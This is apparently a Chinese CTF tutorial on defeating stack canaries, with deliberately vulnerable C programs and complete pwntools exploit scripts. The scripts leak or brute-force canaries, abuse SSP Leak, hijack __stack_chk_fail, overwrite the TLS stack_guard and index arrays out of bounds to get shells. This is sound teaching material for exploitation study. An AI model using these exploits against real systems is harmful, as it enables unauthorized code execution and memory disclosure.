Canary Bypass
栈溢长短无定数,金丝雀门前来防护。
Canary 机制简述
Canary(取名自地下煤矿的金丝雀,它能比矿工更早地发现煤气泄漏,有预警的作用),是一种针对栈溢出的保护机制,它在程序入口处从 GS 段(32 位)或 FS 段(64 位)内获取一个随机值,每次进程重启的 Canary 均不同,但是同一进程中的不同线程的 Canary 是相同的。


在 64 位程序中,Canary 通常在栈中位于 RBP 上方的 8 字节(1 字长,与 RBP 相邻),但是 Canary 的位置不一定总是与 RBP 相邻,具体看编译器的操作。
不难看出,Canary 的 16 进制形式通常以 \x00 结尾,在内存中则首先读取小端序形式的 \x00 ,从而与前面的内容造成字符串截断,避免被 printf() 一类的输出函数泄漏。
如果我们想利用栈溢出覆盖返回值,则填充的数据必定会经过栈上的 Canary,程序一旦检测到 Canary 的值被篡改,便会直接调用 __stack_chk_fail() ,导致程序崩溃退出,这样我们也就无法进一步栈溢出漏洞了。
触发 Canary 保护时,程序会输出:*** stack smashing detected ***: terminated

GCC 编译时可自行设置 Canary 保护的程度:
-fstack-protector # 启用保护,不过只为局部变量中含有 char 数组的函数插入保护
-fstack-protector-all # 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit # 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector # 禁用保护
覆盖低字节输出 Canary
前面提到 Canary 的小端序存储以 \x00 开头,实质上是为截断 Canary 前面的数据,防止将 Canary 打印出来。那么,如果我们覆盖 Canary 低字节的 \x00 ,字符串就不会出现截断,便可以利用 printf() 之类的函数输出 Canary 了。
将下面给出的 C 源码按 32 位编译:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int getshell() {
system("/bin/sh\x00");
return 0;
}
int init_func() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
return 0;
}
int vuln_func() {
char buf[100];
for(int i = 0; i < 2; i++){
read(0, buf, 0x200);
printf(buf);
}
return 0;
}
int main() {
init_func();
puts("Welcome to Pwn World!");
vuln_func();
return 0;
}
// gcc -m32 stack_string_leak.c -no-pie -o stack_string_leak_x86
Canary 从 GS 段内被取出,存放在栈中的 ESP 上方第三个内存单元中:

在程序调用 read() 时随便输入一连串字符,观察到输入的起始地址,计算输出位置距离 Canary 的偏移:

因此,第一次 read() 发送 0x64 个字符,恰好可以覆盖到 Canary 上一个数据,而我们使用 sendline() 发送 payload,其会在 payload 末尾追加一个回车符 0xa ,相当于发送了 0x65 个字符,正好将 Canary 最低一字节的 \x00 覆盖为 \x0a :

可以看到,除了我们输入的 a 和 \x0a 外,printf() 还输出了一些其他数据,\x0a 其后的 3 字节数据就是被覆盖低字节的 Canary 值,只要将泄漏出来的值减去 0xa 即可获得真正的 Canary 值了。
由于在同一次程序运行周期内,Canary 的值不会改变,则第二次 read() 就可以在覆盖时用泄漏出的 Canary 替换,使得最终存放 Canary 的栈内容不变,便可以绕过 Canary 栈溢出保护,成功篡改返回地址为后门函数 getshell() :
from pwn import *
context(log_level='debug', arch='i386', os='linux')
file = './stack_string_leak_x86'
io = process(file)
elf = ELF(file)
getshell_addr = elf.symbols['getshell']
payload = b'a' * 0x64
io.sendline(payload)
io.recvuntil(b'a' * 0x64)
canary = u32(io.recv(4)) - 0xa
payload = flat([b'a' * 0x64, canary, b'a' * 0xc]) # 填充 Canary 后距离返回地址还有 0xc
payload += p32(getshell_addr)
io.sendline(payload)
io.recv()
io.interactive()
逐字节爆破 Canary
一般场景下,爆破 Canary 是不可行的,一旦尝试失败,程序便会崩溃退出,下一次程序启动又会生成新的随机数。然而,若程序调用 fork() 函数创建了足够多的子进程,这种场景具有如下特点:
- 子进程和父进程的栈结构完全相同,所有子进程与父进程共享一个 Canary
- 子进程的崩溃不会导致父进程的崩溃
这意味着我们可以不断访问子进程爆破,直到找到一个不会使子进程崩溃的随机数,即真正的 Canary,从而绕过栈溢出保护 get shell.
本地运行需要在程序所在目录下创建一个名为
flag的文件:echo "this is flag" > flag

IDA 查看其主函数:

main() 函数中涉及到了很多子函数,但真正关键的子函数只有 sub_400BE9() :

存在后门函数 sub_400BC6() ,可以直接输出 flag 的内容:



很容易勾勒出 payload 的基本结构:
一般来说,要想爆破一个 64 位随机数最多需要尝试 \(2^{64}\) 次,然而我们是以字节为单位爆破的,一个字节可以表示 0~255 之间的任意整数,每个字节至多尝试 256 次,总共需要尝试 7 个字节(首字节必为 \x00 ),而如下图,当爆破其中一个字节时可以轻易得知当前字节是否正确,子进程未崩溃退出即为正确,反之亦然。这样我们也只需要尝试 \(2^8 \times (8-1)=1792\) 次就能猜到目标随机数。

def exploit_canary():
global canary
canary = b'\x00' # 首字节必然为 0x00
while len(canary) < 8: # 逐字节爆破
for x in range(256): # 每个字节均有 256 种可能
io = remote('127.0.0.1', 5555) # 创建一个连接,程序会相应地创建一个子进程
io.recv()
# 逐步覆盖 canary
overwrites = flat([b'a' * 0x68, canary, bytes([x])]) # s[104]
io.send(overwrites)
try:
io.recv()
canary += bytes([x]) # 尝试 x 是否会导致程序崩溃,若不会则跳转到下一字节
break
except:
continue
finally:
io.close()
bytes()接受一个可迭代对象(如列表),将该对象中全部元素转换为字节串。Python 2.x 则使用chr(x)即可- 发送数据必须使用
send(),sendline()会追加一个回车符0xa,导致篡改其他 Canary 数据 - 爆破前需要先在本地运行程序,开启监听端口
5555
exploit_canary() 爆破 Canary 成功后,利用栈溢出覆盖返回地址为后门函数 sub_400BC6() 地址:
def pwn():
io = remote('127.0.0.1', 5555)
io.recv()
payload = flat([b'a' * 0x68, canary, b'a' * 8, 0x400bc6])
io.send(payload)
log.success('Flag: %s' % io.recvline().decode())

完整 Exp 脚本如下:
点击查看代码
from pwn import *
context(arch='amd64', os='linux')
def exploit_canary():
global canary
canary = b'\x00'
while len(canary) < 8:
for x in range(256):
io = remote('127.0.0.1', 5555)
io.recv()
overwrites = flat([b'a' * 0x68, canary, bytes([x])]) # s[104]
io.send(overwrites)
try:
io.recv()
canary += bytes([x])
break
except:
continue
finally:
io.close()
log.info('canary: 0x%s' % canary.hex())
def pwn():
io = remote('127.0.0.1', 5555)
io.recv()
payload = flat([b'a' * 0x68, canary, b'a' * 8, 0x400bc6])
io.send(payload)
log.success('Flag: %s' % io.recvline().decode())
if __name__ == '__main__':
exploit_canary()
pwn()
SSP Leak 绕过 Canary
Stack Smashing Protect Leak,其实就是利用了触发 Canary 后会输出 *** stack smashing detected ***: terminated ,通过故意触发 Canary 保护并修改要输出的变量 __libc_argv[0] 的地址来实现任意地址读取。

这个技巧依赖于 glibc 版本,在 Ubuntu 22.04 的 glibc 2.35 中已经修复,目前已知 glibc 2.25 及以下版本则均未修复该漏洞。需要注意的是,SSP Leak 只能泄漏内存中的数据,无法获得 shell.
先来看看触发 Canary 后执行的 __stack_chk_fail() 函数在旧版本 glibc 2.19 的实现,在 ./debug/stack_chk_fail.c 下找到,__stack_chk_fail() 会调用 __fortify_fail() 输出触发 Canary 保护的信息:

在 ./debug/fortify_fail.c 下找到 __fortify_fail() 函数的源码,可以看到这里传入的参数存在两个 %s ,实际上输出了 msg 和 __libc_argv[0] 两个参数的内容,msg 是固定的输出内容 "stack smashing detected" ,而 __libc_argv[0] 默认为程序名:

因此,如果我们能修改 __libc_argv[0] 的值为某个地址,就可以将该地址上的信息在 "*** %s ***: %s terminated\n" 中输出出来。
从 glibc 2.26 开始,增加了一个 need_backtrace 变量来控制输出的信息,这时 __libc_argv[0] 默认为 <unknown> :

然而,在 glibc 2.35 版本中不存在 __libc_argv[0] 参数,也就无法利用该方法了:


本地部署如下:
patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so pwn
patchelf --replace-needed libc.so.6 ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so pwn
echo "this is flag" > flag

首先根据 v3 生成随机数 v7 ,再将用户输入的 buf 与 v7 一并传入 sub_400A65() ,生成随机数返回赋值给 v9 :


随后将 flag 和 v9 一起执行 sub_400AB0(s, v9, 50) ,遍历读取 flag 的前 50 个字符,每一位与随机数 v9 异或运算进行加密,这意味着当我们获得 s 的值时需要逆向解密后方可获得真正的 flag :

每轮循环有两次输入,第一个 buf 处明显没有溢出点,但第二个 v12 存在:

进入 GDB 调试。设置如下:
set follow-fork-mode child # fork 之后调试子进程,父进程不受影响
set detach-on-fork off # 同时调试父进程和子进程
在 gets() 处下断点,重点关注第二个输入点 gets() :


触发 Canary 会输出文件名,RBP 下面那一串文件路径对应的指针就是 __libc_argv[0] ,通常可以直接 p &__libc_argv 进行验证,遇到符号表缺失的情况下可以触发 Canary 追溯到 __fortify_fail() 验证:


计算偏移得到第二次输入与 __libc_argv[0] 之间的距离,需要填充 0x128 个垃圾字符覆盖。由于栈地址的随机性,为定位 flag 存放的地址,我们还需要 libc 中的全局变量 environ 函数,其存储着系统的环境变量,是连接 libc 地址与栈地址的桥梁;系统的环境变量在栈中如图所示:

通过 libc 偏移计算得到 environ 的真实地址后,泄露出其真实地址内存放的值,即可获得保存在栈中的环境变量的真实地址,则可利用其偏移得到栈上任意变量的地址。
因此,我们需要首先泄露 read() 函数的真实地址,进行 libc 基地址计算,获取 environ 的真实地址。第一次循环输入中,将 __libc_argv[0] 覆盖为 read() GOT 表地址,这样就会触发 Canary 从而打印出 read() 真实地址。
read_got = elf.got['read']
io.recvuntil(b'name?\n')
io.sendline(b'david')
io.recvuntil(b'do?\n')
payload = flat([b'a' * 0x128, read_got])
io.sendline(payload)
io.recvuntil(b'*** stack smashing detected ***: ')
read_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.info('read addr: %s' % hex(read_addr))

0x20 为空格的 ASCII 码,可以定位泄露地址的位置。由此便可获悉 environ 函数地址,第二次循环输入再将 __libc_argv[0] 覆盖为 environ 真实地址,泄露出栈上环境变量的首地址,这样就可以利用偏移计算出存放 flag 的地址:
io.recvuntil(b'name?\n')
io.sendline(b'david')
io.recvuntil(b'do?\n')
payload = flat([b'a' * 0x128, environ_addr])
io.sendline(payload)
io.recvuntil(b'*** stack smashing detected ***: ')
stack_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.info('stack addr: %s' % hex(stack_addr))
flag_addr = stack_addr - 0x178

第三次循环时,flag 已然被加密,需要将其异或还原,由于 flag 已被加密,需要结合随机数进行异或还原,我们先将 random id 记录下来,再将 __libc_argv[0] 覆盖为 flag_addr 打印出来,最后对其解密即可获得 flag:
io.recvuntil(b'name?\n')
io.sendline(b'david')
io.recvuntil(b'Your random id is: ')
random_id = int(io.recvuntil(b'\n', drop=True))
io.recvuntil(b'do?\n')
payload = flat([b'a' * 0x128, flag_addr])
io.sendline(payload)
io.recvuntil(b'*** stack smashing detected ***: ')
flag_enc = io.recv(50).decode()
log.info('flag_enc: %s' % flag_enc)
# 解密 flag
flag = ''
for i in range(50):
flag += chr(ord(flag_enc[i]) ^ random_id)
log.success('flag: %s' % flag)
io.interactive()
recvuntil()接受一个布尔值参数drop,允许数据接收时排除分隔符ord()将字符转换为 ASCII 码chr()将整型转换为字符

完整 Exp 脚本如下:
点击查看代码
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='amd64', os='linux')
file = './pwn_patched'
io = process(file)
elf = ELF(file)
read_got = elf.got['read']
io.recvuntil(b'name?\n')
io.sendline(b'david')
io.recvuntil(b'do?\n')
payload = flat([b'a' * 0x128, read_got])
io.sendline(payload)
io.recvuntil(b'*** stack smashing detected ***: ')
read_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.info('read addr: %s' % hex(read_addr))
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
environ_addr = libc_base + libc.dump('environ')
# gdb.attach(io)
# pause()
io.recvuntil(b'name?\n')
io.sendline(b'david')
io.recvuntil(b'do?\n')
payload = flat([b'a' * 0x128, environ_addr])
io.sendline(payload)
io.recvuntil(b'*** stack smashing detected ***: ')
stack_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.info('stack addr: %s' % hex(stack_addr))
flag_addr = stack_addr - 0x178
io.recvuntil(b'name?\n')
io.sendline(b'david')
io.recvuntil(b'Your random id is: ')
random_id = int(io.recvuntil(b'\n', drop=True))
io.recvuntil(b'do?\n')
payload = flat([b'a' * 0x128, flag_addr])
io.sendline(payload)
io.recvuntil(b'*** stack smashing detected ***: ')
flag_enc = io.recv(50).decode()
log.info('flag_enc: %s' % flag_enc)
flag = ''
for i in range(50):
flag += chr(ord(flag_enc[i]) ^ random_id)
log.success('flag: %s' % flag)
io.interactive()
劫持 __stack_chk_fail
触发 Canary 检测到溢出后会执行 __stack_chk_fail() 函数导致程序崩溃,而如果我们可以劫持这个函数,利用格式化字符串将 __stack_chk_fail() GOT 表地址篡改为后门函数的地址,那么就可以通过触发栈溢出保护执行后门函数了。

buf 存在明显溢出,且 printf(buf) 存在栈上格式化字符串漏洞,而 buf 溢出长度只能刚好覆盖到返回地址:

存在一个后门函数 backdoor() :

直接利用 fmtstr_payload() 修改 __stack_chk_fail() GOT 地址即可:
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
file = './r2t4'
io = process(file)
elf = ELF(file)
stack_chk_fail_got = elf.got['__stack_chk_fail']
backdoor = elf.symbols['backdoor']
payload = fmtstr_payload(6, {stack_chk_fail_got : backdoor})
io.sendline(payload)
io.recv()
io.interactive()
修改 TLS 结构体控制 Canary
TLS(Thread Local Storage),是一种线程私有的数据存储方式,每个线程均有自己的局部存储空间,可以在其中存储线程私有数据。当我们创建一个新线程时,需要为该线程指定一个线程函数,一旦某线程被启动,那么该线程就会执行对应的线程函数。然而,对于通过 pthread_create 函数创建的线程,glibc 在 TLS 的实现上存在问题,会将线程函数的 Canary 存放在内存的高地址处。这意味着,如果线程函数本身存在一个足够大的缓冲区溢出(或其他能允许我们修改 Canary 的漏洞),我们就可以覆盖原始的 Canary 值,实现绕过。
要想使用该方法需要满足以下条件:
- 存在溢出变量的函数是一个线程函数,且该线程是通过函数
pthread_create创建的 - 溢出变量的允许输入长度必须足够长,通常至少一个 page(4K)
在 64 位程序中,TLS 由 FS 寄存器指向,Canary 通常为
FS:28h;在 32 位程序中,TLS 由 GS 寄存器指向,Canary 通常为
GS:14h。
TLS 在 glibc 中的实现为 tcbhead_t(TCB) 结构体,其中 stack_guard 变量存储的值就是 Canary,其结构体定义如下:
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard; // 储存 Canary 的值
uintptr_t pointer_guard;
unsigned long int vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
void *__padding[8];
} tcbhead_t;
生成随机数 Canary 的位置:
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard(_dl_random);
给出示例:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/prctl.h>
#ifndef ARCH_GET_FS
#define ARCH_GET_FS 0x1003
#endif
long arch_prctl(int code, void *addr);
void pwn_payload() {
char *argv[2] = {"/bin/sh", 0};
execve(argv[0], argv, NULL);
}
int fixup = 0;
void *first(void *x) {
void *addr;
arch_prctl(ARCH_GET_FS, &addr);
printf("thread FS %p\n", addr);
printf("cookie thread: 0x%lx\n", ((unsigned long*)addr)[5]);
unsigned long *frame = __builtin_frame_address(0);
printf("stack_cookie addr %p \n", &frame[-1]);
printf("diff : %lx\n", (char*)addr - (char*)&frame[-1]);
unsigned long len = (unsigned long)((char*)addr - (char*)&frame[-1]) + fixup;
// Prepare exploit payload
void *exploit = malloc(len);
memset(exploit, 0x41, len);
void *ptr = &pwn_payload;
memcpy((char*)exploit + 16, &ptr, 8);
// Exact stack buffer overflow example
memcpy(&frame[-1], exploit, len);
free(exploit); // Free the allocated memory
return 0;
}
int main(int argc, char **argv, char **envp) {
void *addr;
pthread_t one;
void *val;
arch_prctl(ARCH_GET_FS, &addr);
if (argc > 1)
fixup = 0x30;
printf("main FS %p\n", addr);
printf("cookie main: 0x%lx\n", ((unsigned long*)addr)[5]);
pthread_create(&one, NULL, &first, 0);
pthread_join(one, &val);
return 0;
}

可以看到,当前栈帧和 TCB 结构体之间的距离是 0x808 ,小于一页(page);当溢出的字节足够多,同时覆盖栈上的 Canary 以及 TLS 上的 stack_guard ,使它们的值相等时,就可以绕过栈溢出检查。
接下来我们研究 Star CTF 2018 - babystack :
按 Ubuntu 16.04 编译源码:
#include <errno.h>
#include <stdio.h>
#include <pthread.h>
#include <asm/prctl.h>
#include <sys/prctl.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
size_t get_long() {
char buf[8];
fgets(buf, 8, stdin);
return (size_t)atol(buf);
}
size_t readn(int fd, char *buf, size_t n) {
size_t rc;
size_t nread = 0;
while (nread < n) {
rc = read(fd, &buf[nread], n-nread);
if (rc == -1) {
if (errno == EAGAIN || errno == EINTR) {
continue;
}
return -1;
}
if (rc == 0) {
break;
}
nread += rc;
}
return nread;
}
void * start() {
size_t size;
char input[0x1000];
memset(input, 0, 0x1000);
puts("Welcome to babystack 2018!");
puts("How many bytes do you want to send?");
size = get_long();
if (size > 0x10000) {
puts("You are greedy!");
return 0;
}
readn(0, input, size);
puts("It's time to say goodbye.");
return 0;
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
pthread_t t;
puts("");
puts(" # # #### ##### ######");
puts(" # # # # # #");
puts("### ### # # #####");
puts(" # # # # #");
puts(" # # # # # #");
puts(" #### # #");
puts("");
pthread_create(&t, NULL, &start, 0);
if (pthread_join(t, NULL) != 0) {
puts("exit failure");
return 1;
}
puts("Bye bye");
return 0;
}
// gcc -fstack-protector-strong -s -pthread bs.c -o bs -Wl,-z,now,-z,relro

程序通过 pthread_create(newthread, 0LL, start_routine, 0LL); 创建了一个线程:

pthread_create()用于创建一个线程,pthread_join()使一个线程等待另一个线程的结束。若没有
pthread_join(),主线程会很快结束从而整个进程结束,创建的线程尚未执行就结束了;使用了pthread_join()后,主线程会一直等待对应线程结束后方可结束,使创建的线程有机会执行。
线程从 start_routine() 开始执行:

首先通过 sub_400906() 获取用户输入,这个输入表示我们想要发送多少字节的数据:

atol() 将输入的字符串转换为一个长整数,返回给 v2 。
回到 start_routine() ,如果 v2 \(\leqslant\) 0x10000 ,就调用 sub_400957() ,向 s 中输入数据;注意到 memset() 初始化 s 空间长度为 0x1000 ,远小于 0x10000 ,存在溢出:

栈上 Canary 值来自于 TLS,FS:28h 是其在 TLS 中的偏移:

接下来动态调试确定偏移量,分别断在第一次输入长度以及第二次输入数据上。
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
io = process('./bs')
io.recvuntil(b"How many bytes do you want to send?\n")
io.sendline(str(0x3000).encode())
gdb.attach(io)
pause()
io.sendline(b'aaaaaaaa')
pause()
进入调试后,首先将调试的线程切换到子进程 thread 2 ,再切换到 Python 运行窗口,按任意键继续,直到第二个 pause() 点,ni 单步执行到下一机器指令,stack 查看栈中布局,可以得知第二次输入的地址,获取 TLS 在栈上的首地址,计算出距输入地址的偏移:

因此,考虑到 Canary 占用 1 个字长(8 字节),至少需要溢出 0x17e8 + 0x8 = 0x17f0 字节;我们还是需要通过 libc 的偏移得到 system() 真实地址,使用 puts() PLT 表地址输出 puts() GOT 表地址,从而泄露 puts() 真实地址。
然而,这里只有一次机会,无论是尝试让程序执行流回到 start_routine() 还是 main() ,第二次发送 payload 时均会导致程序崩溃,考虑首先通过 read() 将 one gadget(直接写入 system("/bin/sh") 会导致爆栈)写到一个可写入的地址,即 bss 段首地址的下一个地址处:

随后利用 leave; ret 实现栈迁移, leave 指令将 EBP 迁移到 target_addr - 8 的地方(即 bss 段的首地址处),由于出栈操作使 RSP + 8 让 RSP 指向 target_addr 的位置,这样便在 bss 段伪造以栈劫持程序执行流,再根据 TLS 存放 Canary 处的相对偏移篡改其内容,完成对栈溢出保护的绕过。
完整 Exp 脚本如下:
点击查看代码
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='amd64', os='linux')
file = './bs_old'
io = process(file)
elf = ELF(file)
bss_addr = elf.bss()
target_addr = bss_addr + 0x8
leave_ret = 0x400955
pop_rdi_ret = 0x400c03
pop_rsi_r15_ret = 0x400c01
pop_r12_r13_r14_r15_ret = 0x400bfc
read_plt = elf.symbols['read']
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
offset = 0x17f0
io.recvuntil(b'How many bytes do you want to send?\n')
io.sendline(str(offset).encode()) # 构造 payload 至少需要的长度
payload = b'a' * 0x1008 # 填充垃圾数据直到 Canary
payload += p64(0xdeadbeef) # 写入篡改后的 Canary
payload += p64(target_addr - 0x8) # 当前 RBP 位置,pop rbp 后指向目标 fake 栈地址
payload += flat([pop_rdi_ret, puts_got, puts_plt]) # 泄露 libc 真实地址
payload += flat([pop_rdi_ret, 0, pop_rsi_r15_ret, target_addr, 0xdeadbeef, read_plt]) # 向 bss 段写入伪造栈内容
payload += p64(leave_ret) # 触发栈迁移
payload = payload.ljust(offset - 0x8, b'a') # 填充垃圾数据到 stack_guard 处
payload += p64(0xdeadbeef) # 将 TLS 留存的 Canary 篡改为指定内容
io.send(payload)
io.recvuntil(b'goodbye.\n')
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
one_gadget = libc_base + 0x4527a
payload = p64(one_gadget) # 完成对 bss 段的写入
io.sendline(payload)
io.interactive()
自 glibc-2.28 起,TLS 结构体布局的随机化被引入,攻击者无法预测
stack_guard在其中的确切偏移,需要额外的信息泄露以确定 TLS 布局。
数组下标越界绕过 Canary
当程序的栈中存在数组,并且没有对数组的边界进行检查时,可以通过使数组下标越界直接修改返回地址,从而绕过 Canary。
假设 arr[] 是一个长度为 4 的数组,正常来说,数组元素只有 arr[0] ~ arr[3] :
数组本身也是利用指针寻址的,对于 uint_32 型数组,arr[i] 与 *(a + i * 4) 本质上是一致的。因此如果没有对数组边界进行检查,那么上图中 arr[7] 就代表栈上的返回地址了。
wustctf 2020 - name_your_cat 题目下载

在 IDA 下分析:

注意到 NameWhich() 循环了 5 次:

NameWhich() 首先让用户输入一个数存放到 v2 地址处,由于 v2 是一个数组,数组名代表数组第一个元素的地址,则实际上输入的是 v2[0] 的值。
随后用户需要输入一个最多 7 个字符的字符串存放在 8 * v2[0] + a1 地址处,而 a1 是作为 char 型数组 v3 的形参,则实际上输入的是 v3[8 * v2[0]] 的值。
存在后门函数 shell() :

由于存在 Canary,且没有其他的溢出点,考虑通过输入 v3[8 * v2[0]] 的值控制 v3[] 数组,使其下标越界,直接修改返回地址为 shell() 。
查看栈中布局:

v3 首地址距返回地址 0x34 + 0x4 = 0x38 字节,当 v2[0] = 0 时对应 v3 首地址;那么,v2[0] 应当等于 0x38 / 8 = 0x7 ,即可定位到返回地址。
from pwn import *
context(log_level='debug', arch='i386', os='linux')
file = './wustctf2020_name_your_cat'
io = process(file)
elf = ELF(file)
def NameWhich(v2_value, input):
io.recvuntil(b'>')
io.sendline(v2_value)
io.recvuntil(b'Give your name plz: ')
io.sendline(input)
shell_addr = elf.symbols['shell']
for i in range(5): # 最后一次循环再修改
if i != 4:
NameWhich(b'0', b'david')
else:
NameWhich(b'7', p32(shell_addr))
io.interactive()

栈溢长短无定数,金丝雀门前来防护。
浙公网安备 33010602011771号